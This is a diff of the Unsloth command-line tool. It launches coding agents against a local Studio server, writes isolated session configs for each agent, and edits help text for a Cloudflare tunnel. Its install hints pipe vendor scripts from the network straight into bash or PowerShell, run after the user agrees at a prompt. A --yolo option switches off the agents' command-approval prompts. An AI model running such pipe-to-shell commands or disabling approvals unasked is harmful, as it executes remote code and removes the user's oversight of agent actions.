+    # run against their real ~/.codex or Anthropic credentials with zero isolation -- e.g.
+    # inheriting a pre-existing damaged ~/.codex state DB and blaming the recipe. Inline
+    # assignments scope every var (and empty-string the conflicting ones) to this single
+    # invocation, so a partial copy behaves the same as pasting the whole block.
+    inline = [f"{name}=" for name in unset_env]
+    inline += [f"{name}={shlex.quote(value)}" for name, value in env.items()]
+    if wsl_env_bridge:
+        inline.append(
+            f"WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
+        )
+    typer.echo(" ".join((*inline, shlex.join(command))))
+
+
+def _install_agent(name: str, install_hint: str) -> Optional[str]:
+    # Missing agent under --launch: offer to run its documented install command, then
+    # re-resolve it on PATH. Consent-based (we never auto-run a remote install script
+    # silently), and a non-interactive stdin cannot answer the prompt, so both the
+    # no-TTY and declined cases return None and let the caller print the hint and exit.
+    if not sys.stdin.isatty():
+        return None
+    typer.echo(f"`{name}` is not installed.")
+    if not typer.confirm(f"Install it now with `{install_hint}`?", default = False):
+        return None
+    # Run each hint through the shell it is written for: PowerShell (irm | iex, or npm)
+    # on Windows, /bin/sh (curl | bash, or npm) everywhere else.
+    if os.name == "nt":
+        install_command = ["powershell", "-NoProfile", "-Command", install_hint]
+    else:
+        install_command = ["/bin/sh", "-c", install_hint]
+    if subprocess.run(install_command).returncode != 0:
+        _fail(f"Install command failed. Run it yourself, then re-run: {install_hint}")
+    executable = shutil.which(name)
+    if executable is None:
+        _fail(
+            f"`{name}` installed but isn't on PATH yet. Open a new shell (or add it to "
+            f"PATH), then re-run. Install command: {install_hint}"
+        )
+    return executable
+
+
+def _launch(
+    command: list,
+    env: dict,
+    install_hint: str,
+    unset_env: tuple = (),
+) -> NoReturn:
+    executable = shutil.which(command[0]) or _install_agent(command[0], install_hint)
+    if executable is None:
+        _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}")
+    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    child_env = dict(os.environ)
+    if wsl_env_bridge:
+        child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge)
+        for name in unset_env:
+            child_env[name] = ""
+    else:
+        for name in unset_env:
+            child_env.pop(name, None)
+    child_env.update(env)
+    # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper.
+    previous = signal.signal(signal.SIGINT, signal.SIG_IGN)
+    try:
+        code = subprocess.run([executable, *command[1:]], env = child_env).returncode
+    finally:
+        signal.signal(signal.SIGINT, previous)
+    # Negative returncode means killed by signal N; shells expect 128+N.
+    raise typer.Exit(code = code if code >= 0 else 128 - code)
+
+
+def _connect(
+    api_key: Optional[str],
+    model: Optional[str],
+    load: LoadOptions = LoadOptions(),
+    *,
+    serve: bool = False,
+    launch: bool = True,
+) -> tuple:
+    # `--model org/name:QUANT` is shorthand for `--model org/name --gguf-variant QUANT`.
+    # Split it before we match/serve so the attach path resolves against the already-loaded
+    # `org/name` (listed without the suffix) instead of reloading a `:`-suffixed repo id --
+    # which Studio rejects and which would evict a model another session is using.
+    if model:
+        repo, variant = _split_repo_variant(model)
+        if variant:
+            model = repo
+            if not load.gguf_variant:
+                load = load._replace(gguf_variant = variant)
+    base, server = _require_studio(model, load, serve = serve, launch = launch)
+    try:
+        key = _agent_api_key(base, api_key, auto_started = server is not None)
+        # A server we just started has exactly the requested model loaded, so resolve to
+        # whatever it is serving instead of re-matching the raw --model string.
+        entry = _resolve_model(base, key, None if server is not None else model, load)
+    except BaseException:
+        _shutdown_auto_served()
+        raise
+    return base, key, entry
+
+
+def _run(
+    base: str,
+    entry: dict,
+    env: dict,
+    command: list,
+    *,
+    launch: bool,
+    install_hint: str,
+    unset_env: tuple = (),
+    clear_screen: bool = False,
+) -> None:
+    # Some agents (Pi) render inline from wherever the cursor sits: their first
+    # paint assumes a clean screen rather than clearing or entering the
+    # alternate screen themselves. Hand them one so the session doesn't start
+    # mid-scroll under our connection output. click.clear() is cross-platform
+    # and a no-op when stdout is not a terminal (piped/CI), so transcripts and
+    # --no-launch recipes stay intact.
+    if launch and clear_screen:
+        click.clear()
+    typer.echo(f"Studio {base} · model {entry['id']}")
+    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    if not launch:
+        _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge)
+        return
+    try:
+        _launch(command, env, install_hint = install_hint, unset_env = unset_env)
+    finally:
+        # Tear down a server we auto-started once the agent session ends (no-op otherwise).
+        _shutdown_auto_served()
+
+
+def _agents_config_root() -> Path:
+    ensure_studio_backend_path()
+    from utils.paths import auth_root
+    return auth_root() / "agents"
+
+
+@contextlib.contextmanager
+def _session_config(agent: str, launch: bool):
+    """Yield a private directory for an agent's session config (never the user's own).
+
+    launch: an ephemeral temp dir removed after the agent process exits, so nothing
+    persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run later
+    on this machine), reused across runs. Either way the user's real ~/.<agent>
+    config is left untouched.
+    """
+    if launch:
+        path = Path(tempfile.mkdtemp(prefix = f"unsloth-{agent}-"))
+        try:
+            yield path
+        finally:
+            shutil.rmtree(path, ignore_errors = True)
+    else:
+        # Never wipe this dir: a previously printed recipe may still be running
+        # an agent whose sessions/state live here, and every config writer
+        # merges idempotently into an existing home anyway. Writers must also
+        # reset any state a previous run's flags left behind (--yolo especially),
+        # since files here outlive the invocation that wrote them.
+        path = _agents_config_root() / agent
+        path.mkdir(parents = True, exist_ok = True, mode = 0o700)
+        yield path
+
+
+def write_openclaw_config(
+    base: str,
+    key: str,
+    model: dict,
+    path: Path,
+    yolo: bool = False,
+) -> None:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
+    provider_model = {"id": model["id"], "name": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        provider_model["contextWindow"] = int(window)
+    models = _subdict(config, "models")
+    models.setdefault("mode", "merge")
+    _subdict(models, "providers")["unsloth"] = {
+        "baseUrl": f"{base}/v1",
+        "apiKey": key,
+        "api": "openai-completions",
+        "models": [provider_model],
+    }
+    # Pin a default model, else OpenClaw drops into its setup agent ("no models available").
+    defaults = _subdict(_subdict(config, "agents"), "defaults")
+    _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"
+    # Unauthenticated loopback gateway: without auth.mode=none the client won't open
+    # the websocket. The daemon must still be started separately (`openclaw gateway`).
+    gateway = _subdict(config, "gateway")
+    gateway.setdefault("mode", "local")
+    _subdict(gateway, "auth").setdefault("mode", "none")
+    if yolo:
+        # OpenClaw has no --yolo flag, and it gates tool execution on BOTH the
+        # tools.exec config AND a host-local approvals file (the stricter wins), so
+        # setting only the config still lets the agent prompt/deny. Set both, mirroring
+        # `openclaw exec-policy preset yolo`.
+        exec_policy = _subdict(_subdict(config, "tools"), "exec")
+        exec_policy["host"] = "gateway"
+        exec_policy["security"] = "full"
+        exec_policy["ask"] = "off"
+        # Approvals file in OPENCLAW_STATE_DIR (== this config's dir). ask=off means
+        # nothing is ever prompted, so the runtime socket block is unnecessary here.
+        approvals = path.parent / "exec-approvals.json"
+        _write_private_json(
+            approvals,
+            {"version": 1, "defaults": {"security": "full", "ask": "off", "askFallback": "full"}},
+        )
+        typer.echo(f"Updated {approvals}")
+    else:
+        # The no-launch config dir is reused across runs, so a previous --yolo run may
+        # have left auto-approval state behind. OpenClaw treats an omitted exec policy as
+        # security=full, ask=off on the gateway host, so deleting the keys would keep
+        # auto-approval on: a non-yolo run must WRITE a prompting policy. Only a
+        # permissive/yolo policy is replaced; a stricter one set by hand survives.
+        tools = config.get("tools")
+        exec_policy = tools.get("exec") if isinstance(tools, dict) else None
+        exec_policy = exec_policy if isinstance(exec_policy, dict) else {}
+        # Match ONLY the exact fingerprint --yolo writes (host=gateway, security=full,
+        # ask=off, all explicit, no mode); anything else is left untouched. host=auto or an
+        # omitted host resolves to security=deny under an active sandbox, so treating those
+        # as the permissive gateway default would broaden a fresh sandboxed config from
+        # deny to allowlist. host=node and host=sandbox are user-set (--yolo only writes
+        # gateway). tools.exec.mode is OpenClaw's normalized knob (it cannot be combined
+        # with security/ask, and OpenClaw never rewrites our security/ask write into it),
+        # so a mode is always a deliberate user policy; never clobber it.
+        permissive = (
+            "mode" not in exec_policy
+            and exec_policy.get("host") == "gateway"
+            and exec_policy.get("security") == "full"
+            and exec_policy.get("ask") == "off"
+        )
+        if permissive:
+            exec_policy = _subdict(_subdict(config, "tools"), "exec")
+            exec_policy.pop("host", None)  # routing only; defaults to the gateway host
+            exec_policy["security"] = "allowlist"  # only allowlisted commands skip approval
+            exec_policy["ask"] = "on-miss"  # prompt on every non-allowlisted command
+        # Drop the yolo defaults from the host approvals file (a stricter default set by
+        # the user or OpenClaw is kept). With a prompting tools.exec the stricter of the
+        # two layers wins, so an omitted approvals default still prompts.
+        approvals = path.parent / "exec-approvals.json"
+        if approvals.exists():
+            state = _read_json_object(approvals)
+            if state is not None:
+                defaults = state.get("defaults")
+                # Strip the defaults only when they are exactly the yolo fingerprint; a
+                # user-managed mixed policy that merely shares a field (e.g. askFallback=full,
+                # whose omitted default is deny) must be kept intact.
+                yolo_defaults = (("security", "full"), ("ask", "off"), ("askFallback", "full"))
+                is_yolo = isinstance(defaults, dict) and all(
+                    defaults.get(k) == v for k, v in yolo_defaults
+                )
+                if is_yolo:
+                    for k, _ in yolo_defaults:
+                        del defaults[k]
+                    if not defaults:
+                        del state["defaults"]
+                    if set(state) <= {"version"}:
+                        # Nothing left but our own yolo payload: remove it.
+                        approvals.unlink()
+                        typer.echo(f"Removed {approvals}")
+                    else:
+                        # Keep approvals OpenClaw itself recorded; only the yolo defaults go.
+                        _write_private_json(approvals, state)
+                        typer.echo(f"Updated {approvals}")
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+def write_opencode_config(
+    base: str,
+    key: str,
+    model: dict,
+    path: Path,
+    yolo: bool = False,
+) -> dict:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return {}
+    before = json.dumps(config, sort_keys = True)
+    config.setdefault("$schema", "https://opencode.ai/config.json")
+    model_entry = {"name": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # A custom-provider model with no limit defaults to context 0, which silently
+        # disables OpenCode's auto-compaction; declare the real window (and a sane
+        # output cap) so it compacts instead of overflowing the server.
+        model_entry["limit"] = {"context": window, "output": min(window // 4, 8192)}
+    _subdict(config, "provider")["unsloth"] = {
+        "npm": "@ai-sdk/openai-compatible",
+        "name": "Unsloth Studio",
+        "options": {"baseURL": f"{base}/v1", "apiKey": key},
+        "models": {model["id"]: model_entry},
+    }
+    # OpenCode selects a model by "<providerID>/<modelID>".
+    config["model"] = f"unsloth/{model['id']}"
+    if window:
+        # Compact with ~10% headroom (near 90% full). The fixed 20k-token default
+        # buffer over-compacts, or never settles, on a small local context.
+        compaction = _subdict(config, "compaction")
+        compaction["auto"] = True
+        compaction["reserved"] = max(1, window // 10)
+    tools = ("edit", "bash", "webfetch")
+    if yolo:
+        # OpenCode has no --yolo flag; auto-approve is the config `permission` block
+        # (singular). Allow the prompting tools so tool calls don't block on the TUI. This
+        # rides inline (OPENCODE_CONFIG_CONTENT) so --yolo works even over a project config.
+        session_permission = {t: "allow" for t in tools}
+        config["permission"] = dict(session_permission)
+    else:
+        # Undo only what --yolo wrote: our yolo sets an explicit per-tool "allow" for these
+        # three tools, so flip exactly those explicit allows back to "ask". A "deny"/"ask",
+        # a granular object, a string, or a "*" catch-all is the user's own rule and is left
+        # untouched. We do NOT carry a permission inline for a non-yolo session: since
+        # OPENCODE_CONFIG_CONTENT outranks the project opencode.json we cannot read, any
+        # value forced there would override the user's project rules (weakening a project
+        # deny, or auto-approving through a granular object's permissive default). Clearing
+        # our own persisted yolo state is the fix; the project's own permissions are honored.
+        session_permission: dict = {}
+        permission = config.get("permission")
+        if isinstance(permission, dict):
+            for tool in tools:
+                if permission.get(tool) == "allow":
+                    permission[tool] = "ask"
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+    return session_permission
+
+
+def write_hermes_config(base: str, model: dict, path: Path) -> None:
+    import yaml
+
+    config: dict = {}
+    if path.exists():
+        try:
+            loaded = yaml.safe_load(path.read_text(encoding = "utf-8"))
+        except (yaml.YAMLError, OSError):
+            typer.echo(
+                f"Warning: couldn't parse {path} — configure the custom endpoint "
+                "there yourself, or move the file aside and re-run.",
+                err = True,
+            )
+            return
+        if isinstance(loaded, dict):
+            config = loaded
+        elif loaded is not None:
+            # Non-empty, non-mapping YAML is a user-managed file; leave it.
+            typer.echo(
+                f"Warning: couldn't parse {path} — configure the custom endpoint "
+                "there yourself, or move the file aside and re-run.",
+                err = True,
+            )
+            return
+    # Hermes only reads the key for a *named* custom provider (a bare
+    # `provider: custom` ignores it), so register it under providers.*.
+    _subdict(config, "model").update(
+        provider = f"custom:{_HERMES_PROVIDER}",
+        default = model["id"],
+        api_mode = "openai",
+    )
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # Hermes auto-detects context from GET /v1/models, but OpenAI's schema has no
+        # context field, so it can fall back to a 256k default that overflows a small
+        # local model. Pin the real window (top-level model.context_length is the
+        # highest-priority override) and compact at 90% of it (Hermes defaults to 50%).
+        if window >= _HERMES_MIN_CONTEXT:
+            _subdict(config, "model")["context_length"] = window
+            _subdict(config, "compression").update(enabled = True, threshold = 0.9)
+        else:
+            # Below Hermes' 64,000-token floor it refuses to initialize, so claim
+            # the floor and shrink the threshold so compaction still fires at 90%
+            # of the REAL window (the threshold is a fraction of the claimed
+            # context_length). The auxiliary override keeps the same floor check
+            # from rejecting the compression model mid-session.
+            _subdict(config, "model")["context_length"] = _HERMES_MIN_CONTEXT
+            threshold = round(0.9 * window / _HERMES_MIN_CONTEXT, 4)
+            _subdict(config, "compression").update(enabled = True, threshold = threshold)
+            auxiliary = _subdict(_subdict(config, "auxiliary"), "compression")
+            auxiliary["context_length"] = _HERMES_MIN_CONTEXT
+    _subdict(config, "providers")[_HERMES_PROVIDER] = {
+        "base_url": f"{base}/v1",
+        "api_mode": "openai",
+        "key_env": _HERMES_ENV_KEY,
+    }
+    text = yaml.safe_dump(config, sort_keys = False)
+    if not path.exists() or path.read_text(encoding = "utf-8") != text:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_text(text, encoding = "utf-8")
+        typer.echo(f"Updated {path}")
+
+
+def write_pi_config(base: str, key: str, model: dict, path: Path) -> None:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    # Pi reads custom providers from ~/.pi/agent/models.json (HOME-relocated for the
+    # session). Studio is a generic OpenAI-compatible /v1 endpoint, and the key lives
+    # in the config rather than the env (matching openclaw/opencode).
+    provider_model = {"id": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # An unspecified model defaults to contextWindow 128000 / maxTokens 16384,
+        # far larger than a small Studio context, so Pi compacts too late and overflows
+        # the server. Pin the real window and a sane output cap (mirrors OpenCode).
+        provider_model["contextWindow"] = window
+        provider_model["maxTokens"] = min(window // 4, 8192)
+    _subdict(config, "providers")[_PI_PROVIDER] = {
+        "api": "openai-completions",
+        "baseUrl": f"{base}/v1",
+        "apiKey": key,
+        "models": [provider_model],
+    }
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+@start_app.command("claude", context_settings = _PASSTHROUGH)
+def claude(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point Claude Code at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    model_id = entry["id"]
+
+    env = {
+        "ANTHROPIC_BASE_URL": base,
+        "ANTHROPIC_AUTH_TOKEN": key,
+        "ANTHROPIC_MODEL": model_id,
+        # Session-only (no ~/.claude write): suppress the attribution header so
+        # llama.cpp KV-cache reuse is preserved; --settings below reinforces it.
+        "CLAUDE_CODE_ATTRIBUTION_HEADER": "0",
+        # Update checks, beta features, and other background requests either
+        # stall against a local server or evict the conversation from
+        # llama-server's KV-cache slots, so turn off everything nonessential.
+        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
+        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
+        # A local server streams in bursts; disable the full-screen TUI redraw so the
+        # terminal doesn't flicker between tokens.
+        "CLAUDE_CODE_NO_FLICKER": "1",
+    }
+    # Claude Code auto-compacts against its native (~600k token) window; a local
+    # model's context is usually far smaller, so size the window to the loaded
+    # model's real context length. Otherwise the conversation overflows the
+    # server's window (silent truncation) long before Claude decides to compact.
+    # codex/openclaw get the same value through their config (model_context_window
+    # / contextWindow); Claude has no config file, so it rides on the env var.
+    window = entry.get("context_length") or entry.get("max_context_length")
+    if window:
+        env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] = str(int(window))
+        # Compact at 90% of that window; the override only takes effect once the
+        # window is set, and it can only lower the threshold, so it just guarantees
+        # headroom before the server's context limit instead of relying on Claude's
+        # default (which is tuned for its native 200K/1M window).
+        env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] = "90"
+    # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions.
+    # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a
+    # sandbox is detected, and we don't want to falsely claim one on the user's host.
+    command = [
+        "claude",
+        "--model",
+        model_id,
+        *_claude_flags(),
+        *_yolo_command_flags("claude", yolo),
+        *ctx.args,
+    ]
+    install_hint = (
+        "irm https://claude.ai/install.ps1 | iex"
+        if os.name == "nt"
+        else "curl -fsSL https://claude.ai/install.sh | bash"
+    )
+    _run(
+        base,
+        entry,
+        env,
+        command,
+        launch = launch,
+        install_hint = install_hint,
+        unset_env = _CLAUDE_ENV_UNSET,
+    )
+
+
+@start_app.command("codex", context_settings = _PASSTHROUGH)
+def codex(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point OpenAI Codex at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    # This preflight runs after _connect may have auto-started a server but before _run
+    # installs its teardown finally, so tear the server down here if it rejects the model
+    # (e.g. a transformers-backend model) rather than leaving it on the atexit backstop.
+    try:
+        _require_gguf_for_codex(base, key, entry["id"])
+    except BaseException:
+        _shutdown_auto_served()
+        raise
+    command = [
+        "codex",
+        "--oss",
+        "--profile",
+        _CODEX_PROFILE,
+        *_yolo_command_flags("codex", yolo),
+        *ctx.args,
+    ]
+    with _session_config("codex", launch) as home:
+        write_codex_config(base, entry, home)
+        env = {_CODEX_ENV_KEY: key, "CODEX_HOME": str(home)}
+        _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
+
+
+@start_app.command("openclaw", context_settings = _PASSTHROUGH)
+def openclaw(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point OpenClaw at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    command = ["openclaw", *ctx.args]
+    install_hint = (
+        "iwr -useb https://openclaw.ai/install.ps1 | iex"
+        if os.name == "nt"
+        else "curl -fsSL https://openclaw.ai/install.sh | bash"
+    )
+    with _session_config("openclaw", launch) as cfg:
+        config_path = cfg / "openclaw.json"
+        # key lives in the config, not the env; --yolo writes the exec policy here too.
+        write_openclaw_config(base, key, entry, config_path, yolo = yolo)
+        # Scope both config and state so OpenClaw never touches the user's ~/.openclaw.
+        env = {"OPENCLAW_CONFIG_PATH": str(config_path), "OPENCLAW_STATE_DIR": str(cfg)}
+        _run(base, entry, env, command, launch = launch, install_hint = install_hint)
+
+
+@start_app.command("opencode", context_settings = _PASSTHROUGH)
+def opencode(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point OpenCode at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    command = ["opencode", *ctx.args]
+    with _session_config("opencode", launch) as cfg:
+        config_path = cfg / "opencode.json"
+        # OPENCODE_CONFIG is an overlay (loaded between the user's global and project
+        # configs), so this adds the Unsloth provider/model for the session without
+        # changing the user's default model. Key lives in the config, not the env.
+        session_permission = write_opencode_config(base, key, entry, config_path, yolo = yolo)
+        # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model pin
+        # would silently lose to a repo config. Carry it in OPENCODE_CONFIG_CONTENT, which
+        # outranks project config; the API key stays in the private file, never the env.
+        # Only --yolo carries a permission here (its allow must win over a project config);
+        # a non-yolo session returns no permission, so the project's own rules are honored.
+        inline_config: dict = {"model": f"unsloth/{entry['id']}"}
+        if session_permission:
+            inline_config["permission"] = session_permission
+        env = {
+            "OPENCODE_CONFIG": str(config_path),
+            "OPENCODE_CONFIG_CONTENT": json.dumps(inline_config),
+        }
+        _run(base, entry, env, command, launch = launch, install_hint = "npm install -g opencode-ai")
+
+
+@start_app.command("hermes", context_settings = _PASSTHROUGH)
+def hermes(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point Hermes (Nous Research) at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    command = ["hermes", *_yolo_command_flags("hermes", yolo), *ctx.args]
+    install_hint = (
+        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
+        "/main/scripts/install.sh | bash"
+    )
+    with _session_config("hermes", launch) as home:
+        # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state)
+        # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session.
+        write_hermes_config(base, entry, home / "config.yaml")
+        env = {_HERMES_ENV_KEY: key, "HERMES_HOME": str(home)}
+        _run(base, entry, env, command, launch = launch, install_hint = install_hint)
+
+
+@start_app.command("pi", context_settings = _PASSTHROUGH)
+def pi(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point Pi (coding agent) at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    # Pi defaults to the google provider, so pin our provider/model on the command
+    # line; the custom OpenAI-compatible endpoint itself is only configurable via
+    # ~/.pi/agent/models.json.
+    command = [
+        "pi",
+        "--provider",
+        _PI_PROVIDER,
+        "--model",
+        entry["id"],
+        *_yolo_command_flags("pi", yolo),
+        *ctx.args,
+    ]
+    # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs
+    # no install scripts), so accepting the prompt skips dependency lifecycle scripts.
+    install_hint = "npm install -g --ignore-scripts @earendil-works/pi-coding-agent"
+    with _session_config("pi", launch) as home:
+        # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers
+        # it over $HOME/.pi/agent), so pin it at the session dir: an inherited
+        # PI_CODING_AGENT_DIR in the user's shell would otherwise send Pi to their real
+        # config and skip our provider/key. HOME is relocated too so any other ~/.pi paths
+        # stay in the session. The key rides in the config rather than the env.
+        pi_agent_dir = home / ".pi" / "agent"
+        write_pi_config(base, key, entry, pi_agent_dir / "models.json")
+        env = {"HOME": str(home), "PI_CODING_AGENT_DIR": str(pi_agent_dir)}
+        if os.name == "nt" or os.environ.get("WSL_DISTRO_NAME"):
+            # Node resolves ~/.pi via USERPROFILE (then HOMEDRIVE + HOMEPATH) on Windows,
+            # not HOME. Set them whenever Pi may run as a Windows process: native Windows,
+            # or a /mnt Windows shim launched from WSL (the WSLENV bridge then translates
+            # the path). Otherwise the Windows process falls back to the user's real
+            # %USERPROFILE%\.pi. splitdrive yields no drive off a POSIX path, so
+            # HOMEDRIVE/HOMEPATH stay unset there.
+            env["USERPROFILE"] = str(home)
+            drive, tail = os.path.splitdrive(str(home))
+            if drive:
+                env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail
+        # Pi paints inline from the current cursor position (no alternate screen,
+        # no clear on first render), so give it the clean screen it assumes.
+        _run(
+            base,
+            entry,
+            env,
+            command,
+            launch = launch,
+            install_hint = install_hint,
+            clear_screen = True,
+        )
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index cde3d2cdbc..80641a17c3 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -161,6 +161,34 @@ def _stream_for_subprocess(stream):
     return stream
 
 
+def _display_host_for_bind(run_mod, host: str) -> str:
+    return run_mod._resolve_external_ip() if host in ("0.0.0.0", "::") else host
+
+
+def _loopback_bind_host_for(host: str) -> str:
+    return "::1" if host == "::" else "127.0.0.1"
+
+
+def _url_host(host: str) -> str:
+    return (
+        f"[{host}]" if ":" in host and not (host.startswith("[") and host.endswith("]")) else host
+    )
+
+
+def _emit_run_cloudflare_notice(
+    run_mod, host: str, display_host: str, actual_port: int, secure: bool
+) -> None:
+    from unsloth_cli._tool_policy import is_external_host
+
+    if not is_external_host(host):
+        return
+    run_mod._verify_global_reachability(display_host, actual_port)
+    run_mod._print_cloudflare_line(
+        secure = secure,
+        loopback_host = _loopback_bind_host_for(host),
+    )
+
+
 def _studio_venv_python() -> Optional[Path]:
     """Return the studio venv Python binary, or None if not set up."""
     if platform.system() == "Windows":
@@ -433,7 +461,7 @@ def _write_auth_secret(path: Path, secret: str) -> None:
             os.chmod(tmp_path, 0o600)
         except OSError:
             pass
-        with os.fdopen(fd, "w") as f:
+        with os.fdopen(fd, "w", encoding = "utf-8") as f:
             fd = -1
             f.write(secret)
         os.replace(tmp_path, path)
@@ -688,7 +716,10 @@ def studio_default(
     cloudflare: bool = typer.Option(
         True,
         "--cloudflare/--no-cloudflare",
-        help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 (default on).",
+        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
+        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
+        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
